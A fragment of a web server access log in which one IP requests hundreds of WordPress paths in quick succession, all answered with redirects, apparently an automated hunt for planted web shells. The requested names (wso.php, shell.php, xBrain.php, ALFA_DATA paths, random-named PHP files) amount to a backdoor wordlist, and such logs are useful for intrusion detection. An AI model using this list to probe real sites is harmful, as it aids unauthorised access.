[16/Apr/2025:13:21:24 -0400] "GET /wp-content/uploads/link.php HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:13:21:24 -0400] "GET /wp-content/uploads/plugins.php HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:13:21:25 -0400] "GET /wp-content/uploads/tmp/.session.php HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:13:21:25 -0400] "GET /wp-content/uploads/wp-conflg.php HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:13:21:26 -0400] "GET /wp-content/uploads/wp-conflg.php?p= HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:13:21:26 -0400] "GET /wp-content/uploads/wp-error_log.php HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:13:21:27 -0400] "GET /wp-content/uploads/wp-login.php HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:13:21:27 -0400] "GET /wp-content/uploads/wp-login.php.suspected HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:13:21:28 -0400] "GET /wp-content/uploads/wp-shell.php HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:13:21:29 -0400] "GET /wp-content/uploads/wpr-addons/forms/ HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:13:21:29 -0400] "GET /wp-content/uploads/wpr-addons/forms/b1ack.php HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:13:21:30 -0400] "GET /wp-content/uploads/wpr-addons/forms/wp-error_log.php HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:13:21:30 -0400] "GET /wp-content/uploads/xBrain.php HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:13:21:31 -0400] "GET /wp-content/wp-error_log.php HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:13:21:31 -0400] "GET /wp-content/wp-error_log.php?dir=. HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:13:21:32 -0400] "GET /wp-content/wp-login.php HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:13:21:33 -0400] "GET /wp-content/wp-tested.php HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:13:21:33 -0400] "GET /wp-content/wp.php HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:13:21:34 -0400] "GET /wp-content/wso.php HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:13:21:34 -0400] "GET /wp-content/x.php HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:13:21:35 -0400] "GET /wp-content/x/index.php HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:13:21:36 -0400] "GET /wp-content/x/wp-includes/Text/Diff/Engine/shell.php HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:13:21:36 -0400] "GET /wp-content/x/wp-post.php HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:13:21:37 -0400] "GET /wp-content/x2.php HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:13:21:37 -0400] "GET /wp-content/xBrain.php HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:13:21:38 -0400] "GET /wp-core.php HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:13:21:39 -0400] "GET /wp-crom.php HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:13:21:39 -0400] "GET /wp-cron.php HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:13:21:40 -0400] "GET /wp-editor.php HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:13:21:40 -0400] "GET /wp-error_log.php HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:13:21:41 -0400] "GET /wp-error_log.php?dir=. HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:13:21:42 -0400] "GET /wp-file.php HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:13:21:42 -0400] "GET /wp-files.php HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:13:21:43 -0400] "GET /wp-files.php?p= HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:13:21:43 -0400] "GET /wp-head.php HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:13:21:44 -0400] "GET /wp-header.php HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:13:21:44 -0400] "GET /wp-hoard.php HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:13:21:45 -0400] "GET /wp-includes.bak/html-api/about.php HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:13:21:45 -0400] "GET /wp-includes/ HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:13:21:46 -0400] "GET /wp-includes//403.php HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:13:21:47 -0400] "GET /wp-includes//defaults.php HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:13:21:47 -0400] "GET /wp-includes//item.php HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:13:21:48 -0400] "GET /wp-includes//langar.php HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:13:21:48 -0400] "GET /wp-includes//wp-class.php HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:13:21:49 -0400] "GET /wp-includes/1DTeo4NlXvb.php HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:13:21:49 -0400] "GET /wp-includes/1QVvI3Jefd9.php HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:13:21:50 -0400] "GET /wp-includes/1V7NZKd4MAb.php HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:13:21:51 -0400] "GET /wp-includes/1fwQh4mlL6U.php HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:13:21:51 -0400] "GET /wp-includes/25z1pj6D8ho.php HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:13:21:52 -0400] "GET /wp-includes/2CYFwmbVjRf.php HTTP/1.1" 301 795 "-" "-" 146.70.175.60 - - [16/Apr/2025:13:21:52 -0400] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:75.0) Gecko/20100101 Firefox/75.0" 40.69.36.253 - - [16/Apr/2025:13:21:53 -0400] "GET /wp-includes/2ECeRgwNa6I.php HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:13:21:53 -0400] "GET /wp-includes/2JZ6GvDSsgd.php HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:13:21:54 -0400] "GET /wp-includes/2JeUH5dNZ7X.php HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:13:21:54 -0400] "GET /wp-includes/2M5k3hBNA8L.php HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:13:21:55 -0400] "GET /wp-includes/2VGWUt94ypz.php HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:13:21:56 -0400] "GET /wp-includes/2VJGUWYBXMZ.php HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:13:21:56 -0400] "GET /wp-includes/2fd5iBxGvVt.php HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:13:21:57 -0400] "GET /wp-includes/31vLXnGsWhN.php HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:13:21:57 -0400] "GET /wp-includes/3RTGVYtrpSz.php HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:13:21:58 -0400] "GET /wp-includes/3TaxWwPciN5.php HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:13:21:59 -0400] "GET /wp-includes/3UiGPRTjwLI.php HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:13:21:59 -0400] "GET /wp-includes/3Wg6OxdwEuL.php HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:13:22:00 -0400] "GET /wp-includes/3aWTmqSkEDF.php HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:13:22:00 -0400] "GET /wp-includes/3yATdSmwkho.php HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:13:22:01 -0400] "GET /wp-includes/404.php HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:13:22:02 -0400] "GET /wp-includes/4Gh2KC3UQEc.php HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:13:22:02 -0400] "GET /wp-includes/4HGIbcrUWhy.php HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:13:22:03 -0400] "GET /wp-includes/4MkuIlCN8cB.php HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:13:22:04 -0400] "GET /wp-includes/4NDvJxdAckU.php HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:13:22:04 -0400] "GET /wp-includes/4REzCXlesoN.php HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:13:22:05 -0400] "GET /wp-includes/4Y9KOVRvqrP.php HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:13:22:06 -0400] "GET /wp-includes/4a8ZmAdfYEk.php HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:13:22:07 -0400] "GET /wp-includes/4oaMT6spgwP.php HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:13:22:08 -0400] "GET /wp-includes/5Z4iTjIRAFz.php HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:13:22:09 -0400] "GET /wp-includes/5nUKyurCbLe.php HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:13:22:10 -0400] "GET /wp-includes/5qK7TMEc8fY.php HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:13:22:11 -0400] "GET /wp-includes/5tocX6Gkref.php HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:13:22:11 -0400] "GET /wp-includes/624jlHax7f5.php HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:13:22:12 -0400] "GET /wp-includes/6EeSZtdQrch.php HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:13:22:13 -0400] "GET /wp-includes/6I2vUbTadJO.php HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:13:22:14 -0400] "GET /wp-includes/6U71KzQC98S.php HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:13:22:14 -0400] "GET /wp-includes/6ZKP9RiYwlM.php HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:13:22:15 -0400] "GET /wp-includes/6g3VEPfspOJ.php HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:13:22:15 -0400] "GET /wp-includes/6kjOKB13oiW.php HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:13:22:16 -0400] "GET /wp-includes/7LGSNpCH2Ai.php HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:13:22:17 -0400] "GET /wp-includes/7QkOwJbC4uB.php HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:13:22:18 -0400] "GET /wp-includes/7XhnbeQUrHB.php HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:13:22:18 -0400] "GET /wp-includes/7kGBWef4vJE.php HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:13:22:19 -0400] "GET /wp-includes/7tc9J8MbNDP.php HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:13:22:20 -0400] "GET /wp-includes/849MWReQf5d.php HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:13:22:20 -0400] "GET /wp-includes/85YZsyCUMRH.php HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:13:22:21 -0400] "GET /wp-includes/8XnPa2ebzjt.php HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:13:22:22 -0400] "GET /wp-includes/8a1GFlXOC3W.php HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:13:22:22 -0400] "GET /wp-includes/95GjR2oLVAq.php HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:13:22:23 -0400] "GET /wp-includes/9KclI8whVCt.php HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:13:22:23 -0400] "GET /wp-includes/9KoYaRW2ViG.php HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:13:22:24 -0400] "GET /wp-includes/9hloDMCajiE.php HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:13:22:24 -0400] "GET /wp-includes/9wHCYkXhFat.php HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:13:22:25 -0400] "GET /wp-includes/ADdHqTvWe2p.php HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:13:22:26 -0400] "GET /wp-includes/ALFA_DATA/alfacgiapi/perl.alfa HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:13:22:26 -0400] "GET /wp-includes/AYWw86V4lCb.php HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:13:22:27 -0400] "GET /wp-includes/Ab5tdXYSp3m.php HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:13:22:27 -0400] "GET /wp-includes/AeLiyXCsWRP.php HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:13:22:28 -0400] "GET /wp-includes/Am8DjQ1hYCM.php HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:13:22:29 -0400] "GET /wp-includes/BNdZcrqfp96.php HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:13:22:30 -0400] "GET /wp-includes/BSKlRtNkd7T.php HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:13:22:30 -0400] "GET /wp-includes/BW78qubSIi6.php HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:13:22:31 -0400] "GET /wp-includes/BibpeUT6Srj.php HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:13:22:32 -0400] "GET /wp-includes/BlANITrsFn8.php HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:13:22:33 -0400] "GET /wp-includes/C7aqylzu2vp.php HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:13:22:33 -0400] "GET /wp-includes/CQ3u7inwjcm.php HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:13:22:34 -0400] "GET /wp-includes/CWOqpEgKZFG.php HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:13:22:35 -0400] "GET /wp-includes/CZVFJ1iETu9.php HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:13:22:36 -0400] "GET /wp-includes/Cla7mpMXqtZ.php HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:13:22:36 -0400] "GET /wp-includes/Cpg5hsHwVa3.php HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:13:22:37 -0400] "GET /wp-includes/CqPtQH6xgFv.php HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:13:22:37 -0400] "GET /wp-includes/D2a4qMfz8OV.php HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:13:22:38 -0400] "GET /wp-includes/D3XbzaLTdoy.php HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:13:22:39 -0400] "GET /wp-includes/DBb75TX4aSq.php HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:13:22:39 -0400] "GET /wp-includes/DbBih7UaJ18.php HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:13:22:40 -0400] "GET /wp-includes/DdWzLZVYfG4.php HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:13:22:41 -0400] "GET /wp-includes/DfO9S2sWQeR.php HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:13:22:41 -0400] "GET /wp-includes/E52uQzbthDP.php HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:13:22:42 -0400] "GET /wp-includes/E7caMueJAdD.php HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:13:22:42 -0400] "GET /wp-includes/EM2AyNLX1Zx.php HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:13:22:43 -0400] "GET /wp-includes/EO2kroQhpUu.php HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:13:22:44 -0400] "GET /wp-includes/EoeIH4JmfTi.php HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:13:22:44 -0400] "GET /wp-includes/F8Jx6Xd2jpQ.php HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:13:22:45 -0400] "GET /wp-includes/FBpLfr2oR3M.php HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:13:22:45 -0400] "GET /wp-includes/FRmiwXUtO2K.php HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:13:22:46 -0400] "GET /wp-includes/G3jIOZXasr7.php HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:13:22:47 -0400] "GET /wp-includes/GahxXyLrlK3.php HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:13:22:47 -0400] "GET /wp-includes/GlRsTyKuOLA.php HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:13:22:48 -0400] "GET /wp-includes/H4PwluIEUzJ.php HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:13:22:48 -0400] "GET /wp-includes/HJen2iTjI54.php HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:13:22:49 -0400] "GET /wp-includes/HdkrAtBgUxW.php HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:13:22:50 -0400] "GET /wp-includes/ID3/ HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:13:22:50 -0400] "GET /wp-includes/ID3//file.php HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:13:22:51 -0400] "GET /wp-includes/ID3/?p= HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:13:22:51 -0400] "GET /wp-includes/ID3/about.php HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:13:22:52 -0400] "GET /wp-includes/ID3/admiin.php HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:13:22:53 -0400] "GET /wp-includes/ID3/autoload_classmap.php HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:13:22:53 -0400] "GET /wp-includes/ID3/index.php HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:13:22:54 -0400] "GET /wp-includes/ID3/index.php?p= HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:13:22:54 -0400] "GET /wp-includes/ID3/module.audio-video.matroska-meta.php HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:13:22:55 -0400] "GET /wp-includes/ID3/wp-conflg.php HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:13:22:55 -0400] "GET /wp-includes/ID3/wp-error_log.php?dir=. HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:13:22:56 -0400] "GET /wp-includes/ID3/wp-login.php HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:13:22:57 -0400] "GET /wp-includes/ID3/x2.php HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:13:22:57 -0400] "GET /wp-includes/ID3/xBrain.php HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:13:22:58 -0400] "GET /wp-includes/IS1QFBAdReV.php HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:13:22:58 -0400] "GET /wp-includes/IXR/ HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:13:22:59 -0400] "GET /wp-includes/IXR//4pgwp.php HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:13:22:59 -0400] "GET /wp-includes/IXR//%3Cahref=%22/wp-includes/IXR/class-IXR-base64.php%22%3E%3Cimgclass=%22icon%22src=%22/_autoindex/assets/icons/file-text.svg%22alt=%22[TXT]%22%3Eclass-IXR-base64.php HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:13:23:00 -0400] "GET /wp-includes/IXR//wp-login.php HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:13:23:01 -0400] "GET /wp-includes/IXR/%3Cahref=%22/wp-includes/IXR/class-IXR-base64.php%22%3E%3Cimgclass=%22icon%22src=%22/_autoindex/assets/icons/file-text.svg%22alt=%22[TXT]%22%3Eclass-IXR-base64.php HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:13:23:01 -0400] "GET /wp-includes/IXR/about.php HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:13:23:02 -0400] "GET /wp-includes/IXR/about.php?p= HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:13:23:02 -0400] "GET /wp-includes/IXR/admiin.php HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:13:23:03 -0400] "GET /wp-includes/IXR/autoload_classmap.php HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:13:23:04 -0400] "GET /wp-includes/IXR/chosen.php HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:13:23:05 -0400] "GET /wp-includes/IXR/index.php HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:13:23:05 -0400] "GET /wp-includes/IXR/install.php HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:13:23:06 -0400] "GET /wp-includes/IXR/shell.php?p= HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:13:23:07 -0400] "GET /wp-includes/IXR/themes.php HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:13:23:07 -0400] "GET /wp-includes/IXR/xBrain.php HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:13:23:08 -0400] "GET /wp-includes/Ie9FSsVMDEo.php HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:13:23:08 -0400] "GET /wp-includes/ImZgvy9khUu.php HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:13:23:09 -0400] "GET /wp-includes/IsENazRPM4h.php HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:13:23:10 -0400] "GET /wp-includes/J3N7PX4jYKg.php HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:13:23:11 -0400] "GET /wp-includes/J7ZayUDxCQ4.php HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:13:23:12 -0400] "GET /wp-includes/JIz2LsNDm5G.php HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:13:23:13 -0400] "GET /wp-includes/JYR4ws5QDu6.php HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:13:23:14 -0400] "GET /wp-includes/JjIpHUP5ElO.php HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:13:23:14 -0400] "GET /wp-includes/JnMRlNQOs3b.php HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:13:23:15 -0400] "GET /wp-includes/K19VSjmkeCT.php HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:13:23:16 -0400] "GET /wp-includes/K8IgxOsEFvo.php HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:13:23:16 -0400] "GET /wp-includes/KHoAlLs3129.php HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:13:23:18 -0400] "GET /wp-includes/LOE5823rYzM.php HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:13:23:19 -0400] "GET /wp-includes/LSHGvrN9Cjf.php HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:13:23:19 -0400] "GET /wp-includes/LYw1ni9VJTl.php HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:13:23:20 -0400] "GET /wp-includes/MhZYbFS2rGd.php HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:13:23:21 -0400] "GET /wp-includes/MoJhLeWjBrg.php HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:13:23:23 -0400] "GET /wp-includes/Mq8vhT4yYVO.php HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:13:23:24 -0400] "GET /wp-includes/MxbiKEFOXQy.php HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:13:23:24 -0400] "GET /wp-includes/NCImtphZOK5.php HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:13:23:25 -0400] "GET /wp-includes/O5Z8Gyn4EIh.php HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:13:23:26 -0400] "GET /wp-includes/OYStpqjgDZ5.php HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:13:23:26 -0400] "GET /wp-includes/OhpfCSna9Vc.php HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:13:23:27 -0400] "GET /wp-includes/OwG5LmjClXZ.php HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:13:23:27 -0400] "GET /wp-includes/PBfZp95n2Ud.php HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:13:23:28 -0400] "GET /wp-includes/PHPMailer/ HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:13:23:29 -0400] "GET /wp-includes/PHPMailer//2222.php HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:13:23:29 -0400] "GET /wp-includes/PHPMailer//Ab0ut.php HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:13:23:30 -0400] "GET /wp-includes/PHPMailer//about.php HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:13:23:30 -0400] "GET /wp-includes/PHPMailer//indexx.php HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:13:23:31 -0400] "GET /wp-includes/PHPMailer//themes-install.php HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:13:23:31 -0400] "GET /wp-includes/PHPMailer/about.php HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:13:23:32 -0400] "GET /wp-includes/PHPMailer/autoload_classmap.php HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:13:23:33 -0400] "GET /wp-includes/PHPMailer/index.php HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:13:23:33 -0400] "GET /wp-includes/PHPMailer/radio.php HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:13:23:34 -0400] "GET /wp-includes/Q4TbrMq6sSk.php HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:13:23:34 -0400] "GET /wp-includes/Q8yL6j2i9zk.php HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:13:23:35 -0400] "GET /wp-includes/QLJoTSZn46j.php HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:13:23:35 -0400] "GET /wp-includes/QewG7L1lTkb.php 